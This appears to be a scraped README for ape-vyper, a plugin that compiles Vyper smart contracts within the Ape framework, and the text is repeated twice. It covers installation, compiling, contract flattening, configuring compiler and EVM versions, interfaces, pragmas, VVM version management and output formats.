    cd ape-vyper
    python3 setup.py install

    Quick Usage

    First, place Vyper contract source files (files with extension .vy) in your Ape project’s contracts folder.
    An example Vyper contract can be found here.
    Then, from your root Ape project folder, run the command:

    ape compile

    The .vy files in your project will compile into ContractTypes that you can deploy and interact with in Ape.

    Contract Flattening

    For ease of publishing, validation, and some other cases it’s sometimes useful to “flatten” your contract into a single file.
    This combines your contract and any imported interfaces together in a way the compiler can understand.
    You can do so with a command like this:

    ape vyper flatten contracts/MyContract.vy build/MyContractFlattened.vy

    Warning

    This feature is experimental. Please report any bugs you find when trying it out.

    Compiler Version

    By default, the ape-vyper plugin uses version pragma for version specification.
    However, you can also configure the version directly in your pyproject.toml file:

    [tool.vyper.version]
    version = "0.3.7"

    EVM Versioning

    By default, ape-vyper will use whatever version of EVM rules are set as default in the compiler version that gets used,
    or based on what the #pragma evm-version ... pragma comment specifies (available post-v0.3.10).
    Sometimes, you might want to use a different version, such as deploying on Arbitrum or Optimism where new opcodes are not supported yet.
    If you want to require a different version of EVM rules to use in the configuration of the compiler, set it in your ape-config.yaml like this:

    [tool.ape.vyper]
    evm_version = "paris"

    NOTE: The config value chosen will not override if a pragma is set in a contract.

    Interfaces

    You can not compile interface source files directly.
    Thus, you must place interface files in a directory named interfaces in your contracts_folder e.g. contracts/interfaces/IFace.vy.
    Then, these files can be imported in other .vy sources files via:

    import interfaces.IFace as IFace

    Alternatively, use JSON interfaces from dependency contract types by listing them under the import_remapping key:

    [[tool.ape.dependencies]]
    name = "VyperVoting"
    github = "vyperlang/vyper"
    contracts_folder = "examples/voting/"
    version = "v0.3.8"
    
    [tool.ape.vyper]
    import_remapping = ["voting=VyperVoting@v0.3.8"]

    Import the voting contract types like this:

    # @version 0.3.10
    
    import voting.ballot as ballot

    Decimals

    To use decimals on Vyper 0.4, use the following config:

    [tool.ape.vyper]
    enable_decimals = true

    Pragmas

    Ape-Vyper supports Vyper 0.3.10’s new pragma formats

    Version Pragma

    #pragma version 0.3.10

    EVM Version Pragma

    #pragma evm-version paris

    Optimization Pragma

    #pragma optimize codesize

    VVM CLI

    You can install versions of Vyper using the ape vyper vvm CLI tools.
    List installed versions using:

    ape vyper vvm list

    To list the available Vyper versions, do:

    ape vyper vvm list --available

    Install more versions using the command:

    ape vyper vvm install 0.3.7 0.3.10

    Custom Output Format

    To customize Vyper’s output format (like the native -f flag), you can configure the output format:
    For example, to only get the ABI, do:

    [tool.ape.vyper]
    output_format = ["abi"]

    To do this using the CLI only (adhoc), use the following command:

    ape compile --config-override '{"vyper": {"output_format": ["abi"]}}'

    Solc JSON Format

    ape-vyper supports the socl_json format.
    To use this format, configure ape-vyper like:

    [tool.ape.vyper]
    output_format = ["solc_json"]

    Note: Normally, in Vyper, you cannot use solc_json with other formats.
    However, ape-vyper handles this by running separately for the solc_json request.

    Be sure to use the --force flag when compiling to ensure you get the solc JSON output.

    ape compile file_needing_solc_json_format.vy -f

    To get a dependency source file in this format, configure and compile the dependency.

    [[tool.ape.dependencies]]
    name = "my_dep"
    config_override = { "vyper" = { "output_format" = ["solc_json"] } }

    And then run:

    ape pm compile --force

    Visit original content creator repository
    https://github.com/ApeWorX/ape-vyper

  • ape-vyper

    Quick Start

    Ape compiler plugin around VVM

    Dependencies

    Installation

    via pip

    You can install the latest release via pip:

    pip install ape-vyper

    via setuptools

    You can clone the repository and use setuptools for the most up-to-date version:

    git clone https://github.com/ApeWorX/ape-vyper.git
    cd ape-vyper
    python3 setup.py install

    Quick Usage

    First, place Vyper contract source files (files with extension .vy) in your Ape project’s contracts folder.
    An example Vyper contract can be found here.
    Then, from your root Ape project folder, run the command:

    ape compile

    The .vy files in your project will compile into ContractTypes that you can deploy and interact with in Ape.

    Contract Flattening

    For ease of publishing, validation, and some other cases it’s sometimes useful to “flatten” your contract into a single file.
    This combines your contract and any imported interfaces together in a way the compiler can understand.
    You can do so with a command like this:

    ape vyper flatten contracts/MyContract.vy build/MyContractFlattened.vy

    Warning

    This feature is experimental. Please report any bugs you find when trying it out.

    Compiler Version

    By default, the ape-vyper plugin uses version pragma for version specification.
    However, you can also configure the version directly in your pyproject.toml file:

    [tool.vyper.version]
    version = "0.3.7"

    EVM Versioning

    By default, ape-vyper will use whatever version of EVM rules are set as default in the compiler version that gets used,
    or based on what the #pragma evm-version ... pragma comment specifies (available post-v0.3.10).
    Sometimes, you might want to use a different version, such as deploying on Arbitrum or Optimism where new opcodes are not supported yet.
    If you want to require a different version of EVM rules to use in the configuration of the compiler, set it in your ape-config.yaml like this:

    [tool.ape.vyper]
    evm_version = "paris"

    NOTE: The config value chosen will not override if a pragma is set in a contract.

    Interfaces

    You can not compile interface source files directly.
    Thus, you must place interface files in a directory named interfaces in your contracts_folder e.g. contracts/interfaces/IFace.vy.
    Then, these files can be imported in other .vy sources files via:

    import interfaces.IFace as IFace

    Alternatively, use JSON interfaces from dependency contract types by listing them under the import_remapping key:

    [[tool.ape.dependencies]]
    name = "VyperVoting"
    github = "vyperlang/vyper"
    contracts_folder = "examples/voting/"
    version = "v0.3.8"
    
    [tool.ape.vyper]
    import_remapping = ["voting=VyperVoting@v0.3.8"]

    Import the voting contract types like this:

    # @version 0.3.10
    
    import voting.ballot as ballot

    Decimals

    To use decimals on Vyper 0.4, use the following config:

    [tool.ape.vyper]
    enable_decimals = true

    Pragmas

    Ape-Vyper supports Vyper 0.3.10’s new pragma formats

    Version Pragma

    #pragma version 0.3.10

    EVM Version Pragma

    #pragma evm-version paris

    Optimization Pragma

    #pragma optimize codesize

    VVM CLI

    You can install versions of Vyper using the ape vyper vvm CLI tools.
    List installed versions using:

    ape vyper vvm list

    To list the available Vyper versions, do:

    ape vyper vvm list --available

    Install more versions using the command:

    ape vyper vvm install 0.3.7 0.3.10

    Custom Output Format

    To customize Vyper’s output format (like the native -f flag), you can configure the output format:
    For example, to only get the ABI, do:

    [tool.ape.vyper]
    output_format = ["abi"]

    To do this using the CLI only (adhoc), use the following command:

    ape compile --config-override '{"vyper": {"output_format": ["abi"]}}'

    Solc JSON Format

    ape-vyper supports the socl_json format.
    To use this format, configure ape-vyper like:

    [tool.ape.vyper]
    output_format = ["solc_json"]

    Note: Normally, in Vyper, you cannot use solc_json with other formats.
    However, ape-vyper handles this by running separately for the solc_json request.

    Be sure to use the --force flag when compiling to ensure you get the solc JSON output.

    ape compile file_needing_solc_json_format.vy -f

    To get a dependency source file in this format, configure and compile the dependency.

    [[tool.ape.dependencies]]
    name = "my_dep"
    config_override = { "vyper" = { "output_format" = ["solc_json"] } }

    And then run:

    ape pm compile --force

    Visit original content creator repository
    https://github.com/ApeWorX/ape-vyper